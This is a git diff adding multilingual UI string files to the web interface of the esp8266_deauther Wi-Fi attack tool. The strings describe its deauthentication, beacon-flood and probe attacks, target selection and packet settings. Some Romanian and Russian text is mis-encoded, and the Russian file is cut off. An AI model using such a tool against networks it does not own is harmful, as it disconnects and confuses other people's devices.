napsauta sitten Lataa Sivu Uudelleen. \n- Web-käyttöliittymä ei ole käytettävissä asemien skannauksen aikana ja sinun on yhdistettävä uudelleen laitteeseen! \n- Ole hyvä valitse vain yksi kohde! \n", + "ssids_info": "- Tätä SSID-luetteloa käytetään Beacon- ja Probe hyökkäystä varten. \n- Jokainen SSID voi olla enintään 32 merkkiä. \n- Älä unohda klikata Tallenna, kun olet muokannut SSID-tunnuksia. \n- Sinun on napsautettava Lataa Sivu uudelleen, jos olet kloonannut SSID-tunnuksia. \n", + "attack_info": "- Voit menettää yhteyden aloittaessasi hyökkäyksen! \n- Sinun on valittava kohde deauth-hyökkäykstä varten. \n- Sinun on tallennettava SSID Beacon- ja Probe hyökkäyksiä varten. \n- Päivitä pakettien siirtonopeus napsauttamalla Lataa Sivu uudelleen. \n", + "settings_info": "- Jotkin asetukset edellyttävät uudelleenkäynnistystä..\n- Varmista, että muutokset ovat tallennettu, klikkamalla Tallenna nappia.\n", + "info_disclaimer": "Jos odottamaton virhe ilmenee, lataa sivu uudelleen ja katso laitteen sarjaportin lukijasta tulevaisuuden virheenkorjausta varten.", + "start_stop": "KÄYNNISTÄ / PYSÄYTÄ", + "start": "KÄYNNISTÄ", + "stop": "PYSÄYTÄ", + "wifi_off": "WiFi Pois", + "reboot": "Käynnistä uudelleen", + "reset": "Nollaa", + "enable_random": "Satunnainen tila päälle", + "disable_random": "Satunnainen tila pois päältä", + "random_desc": "Ota satunnaistoiminto käyttöön saadaksesi satunnaisen SSID-luettelon tietyllä kappaleväleillä (esim. 1-15 SSIDja).", + "deauth_desc": "Sulkee WiFi-laitteiden yhteyden lähettämällä autentikointikehykset valittuihin yhteyspisteisiin ja asiakaslaitteisiin.\nTämä on mahdollista vain, koska monet laitteet eivät käytä 802.11w-2009 -standardia, joka suojaa tätä hyökkäystä vastaan.\n - Valitse vain yksi kohde! Kun valitset useita kanavia, jotka toimivat eri kanavilla ja käynnistä hyökkäys, se siirtyy nopeasti näiden kanavien välillä ja sinulla ei ole mahdollisuutta yhdistää uudelleen verkkokäyttöön.", + "beacon_desc": "Beacon-paketteja käytetään tukiasemien mainostamiseen. Lähettämällä jatkuvasti beacon-paketteja ulos näyttää siltä, että olet luonut uusia WiFi-verkkoja.\nVoit muokata ja luoda omia SSID-verkkoja kohdassa SSIDt ", + "probe_desc": "Asiakkaan laitteita lähettävät koetinkyselypyynnöt kysyäkseen, onko tunnettu verkko lähellä.\nKäytä tätä hyökkäystä hämmentääkseen WiFi-seurantaohjelmia pyytämällä SSID-luettelossa määritettyjä verkkoja.\nOn epätodennäköistä, että tämä hyökkäys vaikuttaa kotiverkkoosi.", + "setting_version": "Versio, esim. v2.0.\nTämä asetus voidaan muuttaa vain lähdekoodissa.", + "setting_ssid": "Verkkokäyttöliittymän käytetyn tukiaseman SSID (jos käytössä).\nThe length must be between 1 and 31 characters.", + "setting_password": "Password of access point used for the web interface (if enabled).\nVerkon nimen pituuden on oltava 1 - 31 merkkiä.", + "setting_channel": "Oletus WiFi-kanava, jota käytetään käynnistettäessä.", + "setting_hidden": "Piilottaa Wi-FI tukiaseman, jota käytetään web-käyttöliittymässä (jos se on käytössä).", + "setting_captivePortal": "Ottaa käyttöön sidotun portaalin tukiasemalle (jos se on käytössä).", + "setting_autosave": "Mahdollistaa SSID-tunnusten, laitteen nimien ja asetusten automaattisen tallennuksen.", + "setting_autosavetime": "Automaattisen tallennuksen aikaväli millisekunteina.", + "setting_display": "Mahdollistaa käyttöliittymän näytöille (esim. OLED-näyttö).", + "setting_displayTimeout": "Aika sekunneissa, jonka jälkeen näyttö sammuu, kun se ei ole aktiivinen.\nVoit poistaa näytön aikakatkaisun käytöstä asettamalla sen arvoon 0.", + "setting_serial": "Mahdollistaa sarjaliitännän.\n Suositellaan, että sitä ei poisteta käytöstä.", + "setting_serialEcho": "Mahdollistaa jokaisen saapuvan viestin kaiun sarjamuotoon.", + "setting_web": "Ottaa käyttöön web-käyttöliittymän.", + "setting_webSpiffs": "Ottaa käyttöön SPIFFS-tiedoston kaikille web-tiedostoille.", + "setting_led": "Ottaa käyttöön (RGB) LED-ominaisuuden.", + "setting_maxch": "Max. kanava jolla skannataan.\n US = 11, EU = 13, Japani = 14.", + "setting_macAP": "MAC-osoite, jota käytetään tukiasematilassa.\n Huomaa, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun tukiasematila on käytössä.", + "setting_macSt": "MAC-osoite, jota käytetään asematilassa.\n Katso, että MAC-osoite korvaa vain sisäisen MAC-osoitteen, kun asema on käytössä.", + "setting_chtime": "Aika skannaa yksi kanava ennen siirtymistä seuraavaan millisekunteina (vain jos kanavan hopping on käytössä).", + "setting_minDeauths": "Vähimmäismäärä autentikointikehyksiä skannauksen aikana, jotta LED-valo palautuisi pois käytöstä.", + "setting_attacktimeout": "Kun määräaika (sekunteina) hyökkäys pysähtyy automaattisesti.\n Aseta se lukuun 0 sen poistamiseksi käytöstä.", + "setting_forcepackets": "Kuinka monta yritystä paketin lähettämiseen. \n Aseta tämä arvo korkeammalle, jos haluat saavuttaa paremman pakettinopeuden kiireisellä alueella. \n Huomaa tämä asetus saattaa tehdä laitteesta hitaamman tai epävakaamman. \n Max-arvo on 255!", + "setting_deauthspertarget": "Kuinka monta deautentikointi- ja disassociation kehystä lähetetään jokaiselle kohteelle.", + "setting_deauthReason": "Syykoodi, joka lähetetään deauth-kehyksillä kertoo kohdelaitteelle, miksi yhteys suljetaan.", + "setting_beaconchannel": "Jos tämä toiminto on käytössä, lähetät kaikki kehykset eri kanaville, kun käytetään majakka-hyökkäystä.", + "setting_beaconInterval": "Jos asetetaan true, lähettimet lähetetään joka sekunti. Jos asetuksena on väärä, aikaväli on 100 ms. \n Pidempi aikaväli merkitsee pakettien vakautta ja vähemmän roskapostia, mutta saattaa kestää kauemmin, kunnes asiakkaat löytävät ssidit skannauksen aikana.", + "setting_randomTX": "Mahdollistaa satunnaistetun lähetystehon lähettämällä majakka- ja koetinkyselykehyksiä.", + "setting_probesPerSSID": "Kuinka monta koetinkyselyn kehystä lähetetään jokaiselle SSID: lle", + "setting_lang": "Web-käyttöliittymän oletuskieli. \n Varmista, että kielitiedosto on olemassa!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang b/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang new file mode 100755 index 0000000..c76d5c2 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/fr.lang @@ -0,0 +1,75 @@ +{ + "lang": "fr", + "warning": "ATTENTION", + "disclaimer": "Ce projet est une preuve de concept destinée a l'usage éducatif.\nNi l'ESP8266 ni le SDK ne sont initialement prévus pour cette utilisation. Gare aux bugs !\n\nÀ n'utiliser qu'avec votre réseau privé et sur vos propres appareils !\n\nCe projet utilise des trames WiFi valides telles que décrites dans le standard IEEE 802.11; a noter qu'aucun blocage ou brouillage n'est effectué sur les fréquences utilisées.\nVeillez à bien vérifier les lois en vigueur dans votre pays avant de vous en servir.\n\nNote: ceux qui parlent de ce projet en tant que \"brouilleur\" ou \"jammer\" ou qui copient le contenu sans fournir d'explications ne font que prouver leur méconnaissance sur le sujet ou leurs intentions de générer des titres putaclic sans respecter la propriété intellectuelle, la communauté ou l'effort fourni pour obtenir un meilleur standard WiFi.\n\nPour plus d'informations sur le sujet, rendez-vous sur:", + "disclaimer-button": "J'ai lu et compris le texte ci-dessus", + "reload": "Rafraîchir", + "scan": "Scanner", + "ssids": "SSIDs", + "attacks": "Attaques", + "settings": "Paramètres", + "info": "Info", + "info_span": "INFO: ", + "all": "Tous", + "channel": "Channel", + "devices": "Appareils enregistrés", + "select_all": "Tout sélectionner", + "deselect_all": "Tout désélectionner", + "remove_all": "Tout supprimer", + "station_scan_time": "Durée du Scan de Stations", + "new": "Nouveau", + "save": "Enregistrer", + "add": "Ajouter", + "add_selected": "Cloner les APs", + "overwrite": "Écraser", + "time_interval": "Intervalle", + "number": "Nombre", + "targets": "Cibles", + "scan_info": "- Cliquer sur \"Scanner\" et attendre jusqu'à ce que la LED bleue s'éteigne ou passe au vert, puis cliquer sur \"Rafraîchir\".\n- L'interface web sera inaccessible pendant le scan des stations et il faudra probablement reconnecter le WiFi !\n- Ne sélectionner qu'une seule cible !\n", + "ssids_info": "- Les SSID dans cette liste sont utilisés pour les deux modes d'attaques Balise et Sonde.\n- Chaque SSID peut contenir jusqu'à 32 caractères.\n- Ne pas oublier d’enregistrer après l'édition :)\n- Il faut rafraîchir après avoir cloné un SSID.\n", + "attack_info": "- Toute attaque peut déclencher une déconnexion !\n- Il faut sélectionner une cible pour l'attaque deauth.\n- Il faut au moins un SSID enregistré pour que les modes d'attaque Balise et Sonde fonctionnent.\n- Cliquer sur Rafraîchir pour mettre à jour le taux de paquets.\n", + "settings_info": "- Certains changements de paramètres nécessitent de relancer l'appareil.\n- Pensez à cliquer sur Enregistrer.\n", + "info_disclaimer": "En cas d'erreur inattendue, le moniteur série peut fournir de précieuses informations et aider au debug.", + "start_stop": "DÉMARRER / STOPPER", + "start": "DÉMARRER", + "stop": "STOPPER", + "wifi_off": "WiFi arrêté", + "reboot": "Rebouter", + "reset": "Remise à zéro", + "enable_random": "Activer le mode entropique", + "disable_random": "Désactiver le mode entropique", + "random_desc": "Déclare un liste de SSID au hasard et à intervalle régulier.", + "deauth_desc": "Force la fermeture des appareils WiFi sélectionnés en envoyant des trames de désauthentification aux points d’accès auquel ils sont connectés.\nCette situation n'existe que parce que la majorité des appareils WiFi actuels n'implémentent pas le standard 802.11w-2009 qui offre une protection contre ce genre d'attaque.\n- Attention a ne sélectionner qu'une seule cible, sans quoi vous perdrez accès à l'interface web à cause des sauts incessants entre les différents channels.\n", + "beacon_desc": "Un paquet 'balise' est généralement utilisé pour annoncer l'existence d'un point d’accès. L'envoi incessant de paquets balise permet de faire croire à la création ininterrompue de ces réseaux WiFi.\nLes noms de ces réseaux peuvent être spécifiés dans la section SSIDs.", + "probe_desc": "Les demandes de sondes sont effectuées par l'appareil client afin de demander si un réseau connu est proche.\nCette attaque peut semer la confusion auprès des war walkers ou autres appareils de tracking WiFi, et peut être personnalisée en spécifiant une liste de SSIDs.\nElle est très peu impactante sur les réseaux domestiques.", + "setting_version": "Numéro de version, ex: v2.0.\nCe paramètre ne peut être changé qu'en recompilant le code.", + "setting_ssid": "Le SSID du point d’accès utilisé pour l'interface web (si activée).\nEntre 1 et 31 caractères, maximum 8 émojis.", + "setting_password": "Le mot de passe du point d’accès utilisé pour l'interface web (si activée).\nEntre 8 et 31 caractères.", + "setting_channel": "Le channel WiFi par défaut au démarrage.", + "setting_hidden": "Masque le point d’accès qui est utilisé pour l'interface web (si activée).", + "setting_captivePortal": "Active le portail captif pour le point d’accès (si activé).", + "setting_autosave": "Active l'enregistrement automatique des SSIDs et noms d'appareils dans les paramètres.", + "setting_autosavetime": "Intervalle de temps entre deux enregistrements automatiques (en millisecondes).", + "setting_display": "Active l'écran.", + "setting_displayTimeout": "Temps d'inactivité avant que l'écran ne s'éteigne automatiquement (en secondes).\nRenseigner 0 pour désactiver.", + "setting_serial": "Active l'interface série.\nIl n'est pas recommandé de la désactiver !", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "Active l'interface Web.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "Active la LED RGB.", + "setting_maxch": "Nb Max. de channel a scanner.\nUS = 11, EU = 13, Japon = 14.", + "setting_macAP": "Adresse MAC utilisée par le mode point d’accès.\nNote: ne remplace que l'adresse MAC interne quand le mode point d’accès est actif.", + "setting_macSt": "Adresse MAC utilisée par le mode station.\nNote: ne remplace que l'adresse MAC interne quand le mode station est actif.", + "setting_chtime": "Temps passé a scanner un channel en millisecondes (seulement si le saut de channel est activé).", + "setting_minDeauths": "Nombre minimum de trames de désauthentification détectées pendant le scan pour passer la LED en mode deauth.", + "setting_attacktimeout": "Au bout de combien de secondes l'attaque doit stopper.\nRenseigner 0 pour désactiver la limite.", + "setting_forcepackets": "Nombre d'essais pour chaque envoi de paquet.\nRenseigner une valeur plus haute dans les zones saturées.\nCe paramètre peut aussi ralentir l'appareil, voire le rendre inutilisable.\nToujours renseigner une valeur Entre 0 et 255 !", + "setting_deauthspertarget": "Combien de trames de désauthentification et dissociation sont envoyées à chaque cible.", + "setting_deauthReason": "Le code 'raison' (ou mot d'excuse) qui est envoyé avec toutes les trames de désauthentification et qui précise pourquoi la connection va être fermée.", + "setting_beaconchannel": "Affecte l'attaque Balise en distribuant les paquets sur différents channels.", + "setting_beaconInterval": "Actif: envoie des balises toutes les secondes. Inactif: envoie des balises tous les 100ms.\nPlus l'intervalle est grand plus l'ESP reste stable, et mois les effets de l'attaque se font sentir.", + "setting_randomTX": "Fait varier la puissance de transmission en mode balise, sonde ou demande de sonde.", + "setting_probesPerSSID": "Combien de demandes de sondes sont envoyées pour chaque SSID.", + "setting_lang": "Langage par défaut dans l'interface web.\nAssurez vous que le langage existe !" +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/it.lang b/enp8266/esp8266_deauther-master/web_interface/lang/it.lang new file mode 100755 index 0000000..4d1b80d --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/it.lang @@ -0,0 +1,74 @@ +{ + "lang": "it", + "warning": "AVVERTIMENTO", + "disclaimer": "Questo progetto è una prova di concetto per scopi di test e didattici. \nNè l'ESP8266, né il relativo SDK sono stati progettati o costruiti per tali scopi. \n\nUtilizza i frame Wi-Fi validi descritti nello standard IEEE 802.11 e non bloccare o interrompere alcuna frequenza. \nSi prega di verificare le normative legali del proprio paese prima di utilizzarlo. \n\nSi prega di non fare riferimento a questo progetto come \"jammer\", questo mina totalmente il vero scopo di questo progetto!\nSe lo fai, dimostri solo che non hai capito nulla di ciò che questo progetto rappresenta. \nPubblicare il contenuto senza una spiegazione adeguata dimostra che lo fai solo per clic, fama e/o denaro e non ha alcun rispetto per la proprietà intellettuale, la comunità dietro di esso e la lotta per un migliore standard WiFi. \n\nPer maggiori informazioni visita:", + "disclaimer-button": "Ho letto e capito l'avviso di cui sopra", + "reload": "Ricaricare", + "scan": "scansione", + "ssids": "SSIDs", + "attacks": "Attacchi", + "settings": "Impostazioni", + "info": "Informazioni", + "info_span": "INFO: ", + "all": "Tutti", + "channel": "Canale", + "devices": "Dispositivi salvati", + "select_all": "Seleziona Tutto", + "deselect_all": "Deseleziona Tutto", + "remove_all": "Rimuovi Tutto", + "station_scan_time": "Tempo di scansione della stazione", + "new": "Nuovo", + "save": "Salvare", + "add": "Inserisci", + "add_selected": "Clona gli APs selezionati", + "overwrite": "Sovrascrivere", + "time_interval": "Intervallo di tempo", + "number": "Numero", + "targets": "Obiettivi", + "scan_info": "- Fai clic su Scansione e attendi fino a quando il LED blu sulla scheda si spegne (o diventa verde), quindi fai clic su Ricarica.\n- L'interfaccia web non sarà disponibile durante la scansione di una stazione e dovrai riconnetterti!\n- Seleziona solo un obiettivo!\n", + "ssids_info": "- Questo elenco SSID viene utilizzato per l'attacco beacon e probe.\n- Ogni SSID può contenere fino a 32 caratteri.\n- Non dimenticare di fare clic su Salva quando hai modificato un SSID.\n- Devi fare clic su Ricarica dopo la clonazione SSID.\n", + "attack_info": "- Potresti perdere la connessione quando avvii un attacco!\n- Devi selezionare un bersaglio per l'attacco deauth.\n- Hai bisogno di un SSID salvato per l'attacco beacon e l'attacco Probe.\n- Fai clic su ricarica per aggiornare la velocità del pacchetto.\n", + "settings_info": "- Alcune impostazioni richiedono un riavvio.\n- Fai clic su Salva per assicurarti che le modifiche siano applicate.\n", + "info_disclaimer": "In caso di errore imprevisto, ricarica il sito e controlla il monitor seriale per ulteriori debug.", + "start_stop": "AVVIO / STOP", + "start": "AVVIO", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Riavvio", + "reset": "Reset", + "enable_random": "Abilita la modalità casuale", + "disable_random": "Disabilita la modalità casuale", + "random_desc": "Abilitare la modalità casuale per generare un elenco SSID casuale in un dato intervallo.", + "deauth_desc": "Chiude la connessione dei dispositivi WiFi inviando i frame di deautenticazione agli access point e ai dispositivi client selezionati.\nQuesto è possibile solo perché molti dispositivi non utilizzano lo standard 802.11w-2009 che offre una protezione contro questo attacco.\n- Si prega di selezionare solo un bersaglio! Quando selezioni più bersagli che vengono eseguiti su canali diversi e avvii l'attacco, passerà rapidamente da questi canali e non avrai alcuna possibilità di riconnetterti all'interfaccia web.\n", + "beacon_desc": "I pacchetti beacon vengono utilizzati per pubblicizzare i punti di accesso. Inviando continuamente pacchetti di beacon, sembrerà che tu abbia creato nuove reti WiFi.\nÈ possibile specificare i nomi di rete sotto SSID.", + "probe_desc": "Le richieste di probe vengono inviate dai dispositivi client per chiedere se una rete nota si trova nelle vicinanze.\nUtilizzare questo attacco per confondere i tracker WiFi chiedendo le reti specificate nell'elenco SSID.\nÈ improbabile che non vedrete alcun impatto da questo attacco con la vostra rete Casalinga.", + "setting_version": "Numero di versione, ad esempio v2.0.\nQuesta impostazione può essere modificata solo nel codice sorgente.", + "setting_ssid" : "SSID del punto di accesso utilizzato per l'interfaccia Web (se abilitato).\nLa lunghezza deve essere compresa tra 1 e 31 caratteri.", + "setting_password": "Password del punto di accesso utilizzata per l'interfaccia Web (se abilitata).\nLa lunghezza deve essere compresa tra 8 e 31 caratteri.", + "setting_channel": "Canale WiFi predefinito che viene utilizzato all'avvio.", + "setting_hidden": "Nasconde il punto di accesso utilizzato per l'interfaccia Web (se abilitato).", + "setting_captivePortal": "Abilita il captive portal per il punto di accesso (se abilitato).", + "setting_autosave": "Abilita il salvataggio automatico di SSID, nomi di dispositivi e impostazioni.", + "setting_autosavetime": "Intervallo di tempo per il salvataggio automatico in millisecondi.", + "setting_display": "Abilita l'interfaccia display.", + "setting_displayTimeout": "Tempo in secondi dopo il quale il display si spegne quando inattivo.\nPer disabilitare il timeout del display, impostarlo su 0.", + "setting_serial": "Abilita l'interfaccia seriale.\nSi consiglia di non disattivarlo!", + "setting_serialEcho": "Abilita la ripetizione per ogni messaggio in arrivo su seriale.", + "setting_web": "Abilita l'interfaccia web.", + "setting_webSpiffs": "Abilita SPIFFS per tutti i file Web.", + "setting_led": "Abilita la funzione LED (RGB).", + "setting_maxch": "Max. canale su cui eseguire la scansione.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "Indirizzo MAC utilizzato per la modalità punto di accesso.\nSi noti che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità punto di accesso è abilitata.", + "setting_macSt": "Indirizzo MAC utilizzato per la modalità stazione.\nSi prega di notare che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità stazione è abilitata.", + "setting_chtime": "Tempo di scansione di un canale prima di passare al successivo in millisecondi (solo se il passaggio del canale è abilitato).", + "setting_minDeauths": "Numero minimo di frame di deautenticazione durante la scansione per cambiare la modalità LED in Deauth.", + "setting_attacktimeout": "Dopo quanto tempo (in secondi) l'attacco si fermerà automaticamente.\nImpostalo su 0 per disabilitarlo.", + "setting_forcepackets": "Quanti tentativi di invio di un pacchetto.\nImpostare questo valore più alto se si desidera ottenere una migliore velocità di pacchetto in un'area occupata.\nAttenzione che questa impostazione può rendere il dispositivo più lento o più instabile.\nIl valore massimo è 255!", + "setting_deauthspertarget": "Quanti frame di deautenticazione e disassociazione vengono inviati per ciascun target.", + "setting_deauthReason": "Il codice motivo che viene inviato con i frame deauth per dire al dispositivo di destinazione perché la connessione verrà chiusa.", + "setting_beaconchannel": "Se abilitato, invierà tutti i frame su diversi canali durante l'esecuzione di un attacco beacon.", + "setting_beaconInterval": "Se impostato vero, i beacon verranno inviati ogni secondo. Se impostato su falso, l'intervallo sarà 100 ms.\nUn intervallo più lungo significa maggiore stabilità e meno spamming dei pacchetti, ma potrebbe richiedere più tempo fino a quando i client trovano gli SSID durante la scansione.", + "setting_randomTX": "Abilita potenza di trasmissione randomizzata per l'invio di richieste frames di beacon e probe.", + "setting_probesPerSSID": "Quanti frames di richiesta probe vengono inviati per ciascun SSID.", + "setting_lang": "Lingua predefinita per l'interfaccia Web.\nAssicurarsi che il file della lingua esista!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang b/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang new file mode 100755 index 0000000..bb6ad56 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/ro.lang @@ -0,0 +1,74 @@ +{ + "lang": "ro", + "warning": "ATENÈšIE", + "disclaimer": "Acest proiect este o dovadă a conceptului de testare È™i scopuri educaÈ›ionale.\nESP8266 si SDK-ul nu au fost create pentru astfel de scopuri. Pot apărea bug-uri!\n\nUtilizaÈ›i-l numai pe propriile reÈ›ele È™i dispozitive!\n\nAcest soft foloseste cadre valide Wifi descrise în standartul IEEE 802.11 È™i nu blochează sau întrerupe nici o frecvență.\nVerificaÈ›i reglementările legale din È›ara dvs. înainte de a le utiliza.\n\nNu vă referiÈ›i la acest proiect ca o \"statie de brutaj\", acesta descridită complet scopul real al acestui proiect!\nDacă o faci,aceasta dovedeÈ™te doar că nu aÈ›i înÈ›eles nimic despre din ceea ce reprezintă acest proiect..\nPublicarea conÈ›inutului despre aceasta fără o explicaÈ›ie adecvată arată că o faceÈ›i doar pentru clicuri, faimă È™i / sau bani È™i că nu aveÈ›i respect pentru proprietatea intelectuală, comunitatea din spatele ei È™i lupta pentru un standard WiFi mai bun.\n\nPentru mai multe informaÈ›ii vizitaÈ›i:", + "disclaimer-button": "Am citit È™i am înÈ›eles nota de mai sus", + "reload": "Reîncarcă", + "scan": "ScanaÈ›i", + "ssids": "SSID-uri", + "attacks": "Atacuri", + "settings": "Setări", + "info": "Info", + "info_span": "INFO: ", + "all": "Toate", + "channel": "Canal", + "devices": "Dispozitive salvate", + "select_all": "Selectează tot", + "deselect_all": "DeselectaÈ›i tot", + "remove_all": "Inlătură tot", + "station_scan_time": "Timp de scanare a staÈ›iei", + "new": "Nou", + "save": "SalvaÈ›i", + "add": "Adăuga", + "add_selected": "Clonează AP-urile selectate", + "overwrite": "Suprascriere", + "time_interval": "Interval de timp", + "number": "Număr", + "targets": "Èšintă", + "scan_info": "- FaceÈ›i clic pe Scanare È™i aÈ™teptaÈ›i până când LED-ul albastru de pe tablă se opreÈ™te (sau se schimbă în verde), apoi faceÈ›i clic pe Reîncărcare.\n- InterfaÈ›a web nu va fi disponibilă în timpul scanării unui post È™i va trebui să vă reconectaÈ›i!\n- SelectaÈ›i doar o singură È›intă!\n", + "ssids_info": "- Această listă SSID este utilizată pentru atacul sondei È™i sondei.\n- Fiecare SSID poate avea până la 32 de caractere.\n- Nu uitaÈ›i să faceÈ›i clic pe SalvaÈ›i când aÈ›i editat un SSID.\n- Trebuie să faceÈ›i clic pe ReîncărcaÈ›i după clonarea SSID-urilor.\n", + "attack_info": "- S-ar putea să pierdeÈ›i conexiunea când începeÈ›i un atac!\n- Trebuie să selectaÈ›i o È›intă pentru atacul deauth.\n- AveÈ›i nevoie de un SSID salvat pentru atacul sondei È™i sondei.\n- FaceÈ›i clic pe reîncărcaÈ›i pentru a actualiza rata de pachete.\n", + "settings_info": "- Unele setări necesită repornire.\n- FaceÈ›i clic pe SalvaÈ›i pentru a vă asigura că modificările sunt aplicate.\n", + "info_disclaimer": "ÃŽn cazul unei erori neaÈ™teptate, reîncărcaÈ›i site-ul È™i examinaÈ›i monitorul serial pentru o depanare ulterioară.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "Stingeti wifi-ul", + "reboot": "ReporniÈ›i", + "reset": "Restabili", + "enable_random": "ActivaÈ›i modul aleatoriu", + "disable_random": "DezactivaÈ›i modul aleatoriu", + "random_desc": "ActivaÈ›i modul aleatoriu pentru a genera o listă aleatorie SSID într-un interval dat.", + "deauth_desc": "ÃŽnchide conexiunea dispozitivelor WiFi prin trimiterea cadrelor de autentificare pentru a accesa punctele È™i dispozitivele client selectate.\nAcest lucru este posibil numai pentru că o mulÈ›ime de dispozitive nu utilizează standardul 802.11w-2009 care oferă o protecÈ›ie împotriva acestui atac.\n- SelectaÈ›i doar o singură È›intă! Când selectaÈ›i mai multe È›inte care rulează pe diferite canale È™i începeÈ›i atacul, acesta va comuta rapid între acele canale È™i nu aveÈ›i nicio È™ansă să vă reconectaÈ›i la interfaÈ›a web.\n", + "beacon_desc": "Pachetele de baliză sunt utilizate pentru a face publicitate punctelor de acces. Prin trimiterea continuă a pachetelor de baliză, va părea că aÈ›i creat noi reÈ›ele WiFi.\nPuteÈ›i specifica numele reÈ›elei sub SSID-uri.", + "probe_desc": "Solicitările sonde sunt trimise de dispozitivele client pentru a întreba dacă o reÈ›ea cunoscută este în apropiere.\nUtilizaÈ›i acest atac pentru a confunda trackerele WiFi solicitând reÈ›elele pe care le-aÈ›i specificat în lista SSID.\nEste puÈ›in probabil că veÈ›i vedea impactul acestui atac cu reÈ›eaua dvs. de domiciliu.", + "setting_version": "Versiunea numarul, i.e. v2.0.\nAceastă setare poate fi modificată numai în codul sursă.", + "setting_ssid" : "SSID al punctului de acces utilizat pentru interfaÈ›a web (dacă este activat).\nLungimea trebuie să fie cuprinsă între 1 È™i 31 de caractere.", + "setting_password": "Parola punctului de acces utilizat pentru interfaÈ›a web (dacă este activată).\nLungimea trebuie să aibă între 8 È™i 31 de caractere.", + "setting_channel": "Canal WiFi prestabilit utilizat la pornire.", + "setting_hidden": "Ascunde punctul de acces utilizat pentru interfaÈ›a web (dacă este activat).", + "setting_captivePortal": "Activează portalul captiv pentru punctul de acces (dacă este activat).", + "setting_autosave": "Permite salvarea automată a SSID-urilor, a numelor dispozitivelor È™i a setărilor.", + "setting_autosavetime": "Interval de timp pentru salvarea automată în milisecunde.", + "setting_display": "Activează interfaÈ›a de afiÈ™are.", + "setting_displayTimeout": "Timpul în secunde după care afiÈ™ajul se stinge când este inactivă.\nPentru a dezactiva expirarea timpului de afiÈ™are, setaÈ›i-l la 0.", + "setting_serial": "Activează interfaÈ›a serială.\nNu este recomandat să-l dezactivaÈ›i!", + "setting_serialEcho": "Permite ecou pentru fiecare mesaj primit peste serial.", + "setting_web": "Activează interfaÈ›a web.", + "setting_webSpiffs": "Activează SPIFFS pentru toate fiÈ™ierele web.", + "setting_led": "Permite caracteristica LED (RGB).", + "setting_maxch": "Max. canal pentru scanare.\nUS = 11, EU = 13, Japonia = 14.", + "setting_macAP": "Adresa MAC folosită pentru modul punct de acces.\nReÈ›ineÈ›i că adresa MAC va înlocui numai adresa MAC internă când modul de punct de acces este activat.", + "setting_macSt": "Adresa MAC folosită pentru modul staÈ›ie.\nReÈ›ineÈ›i că adresa MAC va înlocui numai adresa MAC internă când modul staÈ›ie este activat.", + "setting_chtime": "Timp pentru scanarea unui canal înainte de a trece la următoarea în milisecunde (numai dacă este activată alunecarea canalului).", + "setting_minDeauths": "Numărul minim de cadre de autentificare la scanare pentru a schimba modul LED-uri în modul de atestat.", + "setting_attacktimeout": "După ce timp (în secunde) atacul se va opri automat.\nSetaÈ›i-l la 0 pentru al dezactiva.", + "setting_forcepackets": "Câte încercări de a trimite un pachet.\nSetaÈ›i această valoare mai mare dacă doriÈ›i să obÈ›ineÈ›i o rată de pachet mai bună într-o zonă ocupată.\nAveÈ›i grijă ca această setare să facă aparatul mai lent sau mai instabil.\nValoarea maximă este 255!", + "setting_deauthspertarget": "Câte cadre de autentificare È™i de dezasociune sunt trimise pentru fiecare È›intă.", + "setting_deauthReason": "Codul motiv care este trimis cu cadrele de deaut pentru a indica dispozitivului destinaÈ›ie de ce conexiunea va fi închisă.", + "setting_beaconchannel": "Dacă este activată, va trimite toate cadrele pe diferite canale atunci când rulează un atac de baliză.", + "setting_beaconInterval": "Dacă este setat corect, balize vor fi trimise în fiecare secundă. Dacă este setat la false, intervalul va fi de 100ms.\nUn interval mai lung înseamnă mai multă stabilitate È™i mai puÈ›in spam de pachete, dar ar putea dura mai mult până când clienÈ›ii găsesc ssids atunci când scanează.", + "setting_randomTX": "Permite puterea de transmisie randomizată pentru trimiterea cadrelor de baliză È™i a sondei.", + "setting_probesPerSSID": "Câte cadre de solicitare a sondei sunt trimise pentru fiecare SSID.", + "setting_lang": "Limba prestabilită pentru interfaÈ›a web.\nAsiguraÈ›i-vă că fiÈ™ierul de limbă există!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang b/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang new file mode 100755 index 0000000..a866f19 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/ru.lang @@ -0,0 +1,74 @@ +{ + "lang": "ru", + "warning": "ПРЕДУПРЕЖДЕÐИЕ", + "disclaimer": "Этот проект можно иÑпользовать только Ð´Ð»Ñ Ñ‚ÐµÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ в образовательных целÑÑ…. \n ИÑпользуйте его только Ð´Ð»Ñ Ñвоих Ñетей и уÑтройÑтв! \n ИÑпользует дейÑтвительные фреймы Wi-Fi, опиÑанные в Ñтандарте IEEE 802.11, не блокирует и не прерывает какие-либо чаÑтоты.\nПожалуйÑта, ознакомьтеÑÑŒ Ñ Ð¿Ñ€Ð°Ð²Ð¾Ð²Ñ‹Ð¼Ð¸ нормами в Ñвоем Ñтраны, прежде чем иÑпользовать Ñтот код. \n\nПожалуйÑта, не обращайтеÑÑŒ к Ñтому проекту как «jammer», что полноÑтью подрывает реальную цель Ñтого проекта! \nЕÑли вы Ñто Ñделаете, Ñто только докажет, что вы ничего не понимали из того, что Ñтот проект означает. \n ÐŸÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° об Ñтом 